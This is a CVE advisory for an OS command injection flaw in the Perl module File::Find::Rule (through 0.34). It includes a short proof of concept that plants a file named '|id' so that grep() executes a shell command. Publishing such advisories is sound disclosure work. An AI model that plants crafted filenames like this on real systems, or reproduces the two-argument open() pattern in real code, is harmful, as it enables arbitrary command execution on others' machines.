CVE-2011-10007

Summary

File::Find::Rule through 0.34 for Perl is vulnerable to Arbitrary Code Execution when grep() encounters a crafted filename.

A file handle is opened with the 2 argument form of open() allowing an attacker controlled filename to provide the MODE parameter to open(), turning the filename into a command to be executed.

Example:

$ mkdir /tmp/poc; echo > "/tmp/poc/|id" $ perl -MFile::Find::Rule
    -E 'File::Find::Rule->grep("foo")->in("/tmp/poc")' uid=1000(user) gid=1000(user) groups=1000(user),100(users)

Affected Software

VendorProductVersion RangeStatus
RCLAMPFile::Find::Rule0 <= 0.34affected

Weaknesses

  • CWE-78: CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

ADP Enrichment

CISA ADP Vulnrichment

  • SSVC:
  • Exploitation: poc
    • Automatable: no
    • Technical Impact: total

Additional References

CVE Program Container

Additional References

References